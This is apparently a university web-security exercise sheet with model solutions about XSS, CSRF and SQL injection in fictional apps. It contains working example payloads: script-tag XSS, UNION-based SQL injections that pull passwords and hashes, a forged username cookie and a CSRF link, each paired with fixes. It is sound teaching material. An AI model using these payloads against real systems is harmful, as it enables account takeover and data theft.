Exercises

Web Vulnerabilities

Computer Security

Watson Files is a new system that lets you store files in the cloud. Customers complain that old links often return a "*404 File not found*" error. Sherlock decides to fix this problem modifying how the web server responds to requests for missing files. The Python-like pseudocode that generates the "missing file" page is the following:

```
def missing_file(cookie, reqpath):
    print "HTTP/1.0 200 OK"
    print "Content-Type: text/html"
    print ""
    user = check_cookie(cookie)
    if user is None:
        print "Please log in first"
        return

    print "<p>We are sorry, but the server could not locate file" + reqpath
    print "<br>Try using the search function.</p>"
```

where `reqpath` is the requested path (e.g., if the user visits *https://www.watsonfiles.com/dir/file.txt*, the variable `reqpath` contains `dir/file.txt`). The function `check_cookie` returns the username of the authenticated user checking the session cookie (this function is securely implemented and does not have vulnerabilities).

Vulnerability class	*Is there a vulnerability belonging to this class in Sherlock's code? If so, explain why it is present and specify how an adversary could exploit it.*	***If the vulnerability is present in the code above**, explain the simplest procedure to remove this vulnerability.*
cross-site scripting (XSS)		
Cross site request forgery (CSRF)		

Vulnerability class	*Is there a vulnerability belonging to this class in Sherlock's code? If so, explain why it is present and specify how an adversary could exploit it.*	***If the vulnerability is present in the code above****, explain the simplest procedure to remove this vulnerability.*
cross-site scripting (XSS)	Yes, an attacker can supply a filename containing e.g., <script>alert(document.cookie)</script>, and the web server would print that script tag to the browser, and the browser will run the code from the URL.	The simplest procedure to prevent this vulnerability is to apply escaping/filtering to the "reqpath" variable.
Cross site request forgery (CSRF)	No, there is no state-changing action in the page that needs to be protected against CSRF.	

To download the files stored in Watson Files, users visit the page */download*, which is processed by the following server-side pseudocode:

```
def download_file(cookie, params):
  # code to initialize the HTTP response
  user_id = check_cookie(cookie)
  if user is None:
    print "Please log in first"
    return
  filename = params['filename']
  query = "SELECT file_id, data FROM files WHERE FILENAME = '" + filename + "';"
  result = db.execute(query)
  # code to print result['data']
```

where `params` is a dictionary containing the GET parameters (e.g., if a user visits */download?filename=holmes.txt*, then `params['filename']` will contain '`holmes.txt`'). The database queries are executed against the following tables:

users

user_id	username	password
1	Aria	1234
2	John	password
3	Tyrion	bestpass
4	Daenerys	unknown

files

file_id	filename	data
1	unk	...
2	secret.txt	...
3	stuff.jpg	...
4	summer17.jpg	...

1. Identify the class of the vulnerability and briefly explain how it works **in general**.

2. Write an exploit for the vulnerability just identified to get the **password** of user **John**:

1. Identify the class of the vulnerability and briefly explain how it works **in general**.

SQL Injection. *See slides for the explanation.*

There must be a data flow from a **user-controlled HTTP variable** (e.g., parameter, cookie, or other header fields) **to a SQL query**, **without appropriate filtering and validation**. If this happens, the **SQL structure of the query can be modified**.

2. Write an exploit for the vulnerability just identified to get the **password** of user **John**:

```
' UNION SELECT user_id, password FROM users WHERE name = 'John';--

Assumption: password must be of the same type of data
```

“SHIPSTUFF” is a new online service that allow registered users to send stuff to other registered users by filling a form. The form must contain the `product_id` of the product to send and the `receiver_id` of the receiver. After clicking on the submit button, the web browser will make the following GET request to the web server:

```
https://shipstuff.org/ship?product_id=<product_id>&receiver_id=<receiver_id>
```

The Python-like pseudocode that will handle the shipment is the following:

```
def ship_stuff(request):
    # ... code to send HTTP header (not relevant) ...
    user = check_cookie(request.cookie)
    if user is None:
        print "Please log in first"
        return

    product_id = request.params['product_id']       # GET parameter
    receiver_id = request.params['receiver_id']     # GET parameter

    query1 = 'SELECT p_id, product_name FROM warehouse, ownership \
        WHERE p_id = ' + product_id + \
        'AND user.id = ownership.u_id ' + \
        'AND ownership.p_id = warehouse.p_id;'
    db.execute(query)
    row = db.fetchone()
    if row is None:
        print "Product", product_id, "is not existent"
        return

    query2 = 'SELECT u_id, username FROM accounts \
        WHERE u_id =  ' + receiver_id + ';'
    db.execute(query)
    row = db.fetchone()
    if row is None:
        print "User", receiver_id, "is not existent"
        return
# ....... code to actually send the product and print the product name ........
```

The above code checks if the user is logged in using the function `check_cookie`, which returns the username of the authenticated user checking the session cookie. Then, the code attempts to retrieve the `product_id` or the `receiver_id` from the database and, if they cannot be located the page will contain an error message.

Assume that `request.params['product_id']` and `request.params[receiver_id']` are controllable by the user, and that all the functionalities concerning the user authentication (i.e., `check_cookie`) are securely implemented and do not contain vulnerabilities.

1. Only considering the code above, identify which of the following classes of web application vulnerabilities are present:

Vulnerability class	*Is there a vulnerability belonging to this class in the code? If so, explain why it is present and specify how an adversary could exploit it.*	***If the vulnerability is present in the code above**, explain the simplest procedure to remove this vulnerability.*
Stored cross-site scripting (XSS)		
Reflected cross-site scripting (XSS)		
Cross site request forgery (CSRF)		
Sql Injection		

Vulnerability class	*Is there a vulnerability belonging to this class in the code? If so, explain why it is present and specify how an adversary could exploit it.*	***If the vulnerability is present in the code above****, explain the simplest procedure to remove this vulnerability.*
Stored cross-site scripting (XSS)	No, the above code does not allow to store information on the server that can be exploited.	
Reflected cross-site scripting (XSS)	Yes, an attacker can supply a product_id or the receiver_id containing e.g., <script>alert(document.cookie)</script>, and the web server would print that script tag to the browser, and the browser will run the code from the URL.	The simplest procedure to prevent this vulnerability is to apply escaping/filtering to the vulnerable variable. For example: product_id
Cross site request forgery (CSRF)	Yes, an attacker can send a link to a victim and let the victim ship a product to him by just visiting the link. For example: https://shipstuff.org/ship?product_id=<a_product_i_want>&receiver_id=<my_u_id>)	Use CSRF token.
Sql Injection	Yes, because user-controlled data is concatenated a query, allowing an attacker to modify such query.	The simplest procedure to prevent this vulnerability is to apply prepared statement

Now assume that SHIPSTUFF executes all the database queries against the following tables:

accounts

u_id	username	password
1	Rick	1234
2	Morty	password
3	PickleRick	bestpass
4	Mr meeseeks	unknown
...	...	...

ownership

u_id	p_id
1	1
2	2
3	2
4	4
...	...

warehouse

p_id	product_name
1	nothing
2	paper
3	flag
4	excalibur
...	...

2. Write an exploit for one of the vulnerability/ies just identified to get the **username** and the **password** of the **only** user that owns the product ‘excalibur’.

By assuming that products are unique, state all the necessary steps and conditions for the exploit to take place.

Now assume that SHIPSTUFF executes all the database queries against the following tables:

accounts

u_id	username	password
1	Rick	1234
2	Morty	password
3	PickleRick	bestpass
4	Mr meeseeks	unknown
...	...	...

ownership

u_id	p_id
1	1
2	2
3	2
4	4
...	...

products

p_id	product_name
1	nothing
2	paper
3	flag
4	excalibur
...	...

2. Write an exploit for one of the vulnerability/ies just identified to get the **username** and the **password** of the **only** user that owns the product ‘excalibur’.

By assuming that products are unique, state all the necessary steps and conditions for the exploit to take place.

```
0 AND 0=1 UNION SELECT a.u_id, a.password FROM accounts AS a,
ownership AS o, products AS p WHERE o.u_id = a.u_id AND o.p_id =
p.p_id AND p.product_name = 'excalibur';--

0 AND 0=1 UNION SELECT a.u_id, a.username FROM accounts AS a,
ownership AS o, products AS p WHERE o.u_id = a.u_id AND o.p_id =
p.p_id AND p.product_name = 'excalibur';--
```

A web application contains three pages to handle login, post comments, and read comments, all served over a secure HTTPS connection. Here you can find code snippet of these pages:

```
Show comments: handler for the GET request /comments?id=<id>00
A.01 var id = request.get['id'];
A.02 var prep_query = prepared_statement("SELECT username FROM users WHERE id=? LIMIT 1");
A.03 var username = query(prep_query, id);
A.04 var prep_query = prepared_statement("SELECT * FROM comments WHERE username=?");
A.04 var comments = query(prep_query, username);
A.06 for comment in comments {
A.07       echo htmlentities(comment);
A.08 }
Login: handler for the POST request /login
B.01 var password = md5(request.post['password']);
B.02 var username = request.post['username'];
B.03 var prep_query = prepared_statement("SELECT username FROM users
B.04                                        WHERE username=? AND password=? LIMIT 1");
B.05 var result = query(prep_query, username, password);
B.06 if (result) {
B.07       session.set('username', username);
B.08       echo "Logged in.";
B.09 } else {
B.10       echo "User" + username + "does not exists!";
B.11 }
Write comment: handler for the GET request /write?comment=<text_of_the_comment>
C.01 var username = session.get['username'];        // You need to be logged in
C.02 var comment = request.get['comment'];
C.03 var res = query("INSERT INTO comments (username, comment, timestamp)
C.04                             VALUES ( “ +  username + ” , “+  comment + ” , NOW())");
C.05       echo "Comment saved.";
```

Assume the following:

- The framework used to develop the web application securely and transparently manages the users’ sessions through the object `session`;
- The dictionaries `request.get` and `request.post` store the content of the parameters passed through a GET or POST request respectively;
- the function `htmlentities()` converts special characters such as `<`, `>`, `"`, and `'` to their equivalent HTML entities (i.e., `&lt;`, `&gt;`, `&quot;` and `&apos;` respectively).

As it is clear from the code, this application uses a database to store data. These are tables of the database:

users

id	*name*	*password*
1	Rick	76ceaaa34826979e77
2	Marcello	563c39089151f9df26
3	admin	d1e576b71ccef5978d

comments

id	*user*	*comment*	*timestamp*
1	admin	“Welcome”	03:23:21 24/12/2000
2	Marcello	“malcontento...”	18:31:62 17/02/2015

1. Only considering the code above, identify which of the following classes of web application vulnerabilities are present:

Vulnerability class	*Is there a vulnerability belonging to this class in the code? If so, explain why it is present and specify how an adversary could exploit it.*	***If the vulnerability is present in the code above**, explain the simplest procedure to remove this vulnerability.*
Stored cross-site scripting (XSS)	**Lines:**	
Reflected cross-site scripting (XSS)	**Lines:**	
Cross site request forgery (CSRF)	**Lines:**	
Sql Injection	**Lines:**	

1. Only considering the code above, identify which of the following classes of web application vulnerabilities are present:

Vulnerability class	*Is there a vulnerability belonging to this class in the code? If so, explain why it is present and specify how an adversary could exploit it.*	***If the vulnerability is present in the code above**, explain the simplest procedure to remove this vulnerability.*
Stored cross-site scripting (XSS)	**Lines:** No, ...	No vulnerability
Reflected cross-site scripting (XSS)	**Lines: B.10** *Yes, an adversary can set up a form (hidden form) that submits a request with an username containing a malicious script e.g., <script>alert(document.cookie)</script>, and the web server would print that script tag to the browser, and the browser will run the code.*	*The simplest procedure to prevent this vulnerability is to apply escaping/filtering to the "username" variable.*
Cross site request forgery (CSRF)	**Lines: C01-C04** *Yes, an adversary can set up a form that submits a request to send a message, as this request will be honored by the server.*	*To solve this problem, include a CSRF token with every legitimate request, and check that cookie['csrftoken'] ==param['csrftoken'].*
Sql Injection	**Lines: C0.3-C0.4** Yes, ...	*The simplest procedure to prevent this vulnerability is to apply escaping/filtering to the "comment/username" variable.*

2. Exploiting one of the vulnerability detected before, write down an exploit to get the hash of the password of **admin**. You must also specify all the steps and assumptions.

2. Exploiting one of the vulnerability detected before, write down an exploit to get the hash of the password of **admin**. You must also specify all the steps and assumptions.

… comment = ‘(SELECT password from users where name = “admin”)

3. [1 point] You are the database administrator and have no way to modify the above code. How would you mitigate the damage that an attacker can do?

3. [1 point] You are the database administrator and have no way to modify the above code. How would you mitigate the damage that an attacker can do?

As this page\application needs only to read data from the users table, we could restrict, at the database level, the privileges of the user of this application to only perform SELECTs involving the user table (and no operation involving the account_balance table).

4 [1 point]. Consider the implementation of the session management mechanism:

```
function session.set(key, value) {
    response.add_header("Set-Cookie: " + key + "=" + value);
}
```

Likewise, the `session.get()` function parses the Cookie header in the HTTP request and returns the value of the cookie with the specified key. Describe how an attacker can exploit a vulnerability in this implementation to authenticate as an existing user, and suggest a way to change the function `session.set()` to fix this vulnerability.

4 [1 point]. Consider the implementation of the session management mechanism:

```
function session.set(key, value) {
    response.add_header("Set-Cookie: " + key + "=" + value);
}
```

Likewise, the `session.get()` function parses the Cookie header in the HTTP request and returns the value of the cookie with the specified key. Describe how an attacker can exploit a vulnerability in this implementation to authenticate as an existing user, and suggest a way to change the function `session.set()` to fix this vulnerability.

Cookie: username=any existing username

Fix:

- Encrypt the cookie with a key stored on the server (with a nonce and an expiration to avoid replay attacks)
- Store the session data somewhere (e.g., file, database, …) indexed by a random value and set the random value in the cookie instead of the username

“InfinityMessage” is a web messaging application where logged in users can exchange messages containing text as well as basic HTML formatting (such as <b>bold</b> or <i>italic</i>). Furthermore, the web application includes a functionality to manage an user’s personal contact list.

Assume the following:

- the function `check_session()` securely manages the users’ sessions
- the function `htmlentities()` converts special characters such as `<`, `>`, `"`, and `'` to their equivalent HTML entities (i.e., `&lt;`, `&gt;`, `&quot;` and `&apos;` respectively)

Consider the following code snippets:

Snippet 1: Display messages - https://chat.example.com/msgs

```
def display_message(request):
    user = check_session(request.cookies['session'])
    if user is None or request.method != "GET":
        abort(403)
            q = prepared_stmt("select * from messages where inbox_user = :user")
    msg = query(q, user.username)
    if msg is None:
      abort(403)
    page = "<h1>From: " + htmlentities(msg.from) + "</h1>"
    page = page + "<div>" + msg.body + "</div>"
    return render(page)
```

Snippet 2: Send a message - https://chat.example.com/send

```
def send(request):
    user = check_session(request.cookies['session'])
    if user is None:
        abort(403)
    if request.method == "POST":
        q = "insert into messages (from, to, body)
           values ( ‘ " + user.username + " ’, ‘ " + request.to + " ’ , ‘ " + request.text + " ’)"
        if query(q) == True:
            return "<p>Message sent!</p>"
        return "<p>Error sending message</p>"
    else if request.method == "GET":
        return """
                <form method="POST" action="/send">
                    <p>To: <input type="text" name="to"></input></p>
                    <textarea name="text">Your message…</textarea>
                    <button type="submit">Send</button>
                </form>
              """
```

1. Considering only the information given in the previous page, identify which of the following common classes of web vulnerabilities are for sure present in the “InfinityMessage” application.

Vulnerability class	*Is there a vulnerability belonging to this class in the code? If so, explain why it is present and specify how an adversary could exploit it.*	***If the vulnerability is present in the code above**, explain the simplest procedure to remove this vulnerability <u>while preserving the intended functionalities of the page</u>.*
SQL injection		
Cross-site scripting (XSS)	(please also specify which subclasses of XSS are present, e.g., stored\reflected\DOM-based)	
Cross site request forgery (CSRF)		

1. Considering only the information given in the previous page, identify which of the following common classes of web vulnerabilities are for sure present in the “InfinityMessage” application.

Vulnerability class	*Is there a vulnerability belonging to this class in the code? If so, explain why it is present and specify how an adversary could exploit it.*	***If the vulnerability is present in the code above**, explain the simplest procedure to remove this vulnerability while preserving the intended functionalities of the page.*
SQL injection	*Yes, request.to and request.text while sending a message are concatenated with the SQL query*	*See slides*
Cross-site scripting (XSS)	(please also specify which subclasses of XSS are present, e.g., stored\reflected\DOM-based) *Yes, there is a stored XSS vulnerability in the body of the displayed chat messages. An adversary can exploit it by sending to a contact a malicious chat message containing arbitrary Javascript code (e.g.., <script>...</script>).*	*The simplest solution would be to wrap the display of the message body with htmlentities(), i.e., htmlentities(msg.body), as the code already does for the sender. However, this solution does not fulfill the requirement of displaying limited HTML markup, thus it doesn’t entirely preserve the intended functionalities of the page. To tackle this, we could, e.g., create a whitelist (not a blacklist!) of non-malicious tags, e.g., <b></b>, <i></i> as well as allowed characters, run the whitelist against the message body and subsequently deleting or escaping any other special character that is not forming a whitelisted tag. Alternatively, we can use a HTML parser and remove (or render as text, i.e., converting special characters to HTML entities) any node or attribute not in the whitelist.*
Cross site request forgery (CSRF)	*Yes, there is a CSRF in the message sending functionalities. Adversaries can send email messages to logged in users, e.g., by luring them into opening links to their websites (hosted wherever the attackers want) that auto-submit a form to https://chat.example.com/send. The form will be submitted with the correct user’s cookies, and a message will be sent on the user’s behalf.*	*Implement an anti-CSRF token, e.g., as an hidden input field in the send message form (see slides for details of this technique).*

The web application uses a relational DBMS. All the queries are executed against the following tables:

u_id	username	password	is_admin
1	Tony	I love you 3000	TRUE
2	Steve	Winter	FALSE
3	Natasha	Widow	FALSE
4	Mysterio	Mole	FALSE
...	...	...	

users

s_id	from	to	body
1	Thanos	Tony	I am inevitable
2	Steve	Bucky	I love you
3	Natasha	Clint	Like in Budapest
4	Spidey	Fury	lol
...	...	...	...

messages

2. Assuming that you are logged in as Mysterio, write an exploit for the vulnerability you just identified to disclose the password of the user 'Tony'. Please specify all the steps and assumptions you need to make for a successful exploitation.

2. Assuming that you are logged in as Mysterio, write an exploit for the vulnerability you just identified to disclose the password of the user 'Tony'. Please specify all the steps and assumptions you need to make for a successful exploitation.

Step 1: a POST to https://chat.example.com/send with the following parameters:
from = `arbitrary content`
to = Mysterio

```
request.text = non_relevant’)(‘non_relevant’, ‘Mysterio’,
(select password from users where username = ‘Tony’));--
```

Step 2: the attacker visits https://chat.example.com/msgs and sees, among the others, a message with the password of the user Tony.

3 Write an exploit that results in Tony executing the following code as soon as it visit a certain URL:

```
alert(document.cookie)
```

Detail all the steps and assumptions you need for a successful exploitation, and write the URL that triggers the exploit when visited by Tony. Assume that you are logged in as a Mysterio.

3 Write an exploit that results in Tony executing the following code as soon as it visit a certain URL:

```
    alert(document.cookie)
```

Detail all the steps and assumptions you need for a successful exploitation, and write the URL that triggers the exploit when visited by Tony. Assume that you are logged in as a Mysterio.

let's use the same sql injection in the insert to inject a XSS payload in the 'text' field of the DB:

```
request.text = non_relevant')('Thanos', 'Tony',
'<script>alert(document.cookie)</script>');--
```

Now, when the user visits the /msgs endpoint it will get
[…]
<script>alert(document.cookie)</script>
[…]
That triggers the execution of the malicious JS code.

4. InfinityMessage implemented a mitigation for a specific vulnerability: the application includes, in each HTTP response from each page served from their domain, the following additional HTTP header:

```
Content-Security-Policy: "script-src 'self'; img-src *"
```

4.1 Briefly explain, in general, what is the purpose of a Content Security Policy (CSP) header.

4. InfinityMessage implemented a mitigation for a specific vulnerability: the application includes, in each HTTP response from each page served from their domain, the following additional HTTP header:

```
Content-Security-Policy: "script-src 'self'; img-src *"
```

4.1 Briefly explain, in general, what is the purpose of a Content Security Policy (CSP) header.

See slides.

The CSP is meant to limit the provenance of the resources embedded in a webpage, such as scripts, fonts, images or stylesheet, form targets, ….; It is mainly used as a mitigation against XSS (or similar) vulnerabilities as it can define some scripts or origins as trusted or not for serving scripts.

4.2 Which of the vulnerabilities you identified in the InfinityMessage application is the above CSP header supposed to mitigate? Is this implementation effective in this specific context? (if you think the mitigation is effective, explain why; otherwise, please briefly describe a way to bypass it)

4.2 Which of the vulnerabilities you identified in the InfinityMessage application is the above CSP header supposed to mitigate? Is this implementation effective in this specific context? (if you think the mitigation is effective, explain why; otherwise, please briefly describe a way to bypass it)

The above CSP header is supposed to mitigate the stored XSS in InfinityMessage, by restricting the origins allowed to serve trusted Javascript code.

If we assume that there is no vulnerable Javascript loaded in the page or present on the server, this mitigation is effective -- a <script></script> (inline script) injection would be blocked by the CSP as the unsafe-inline directive is not present.

The End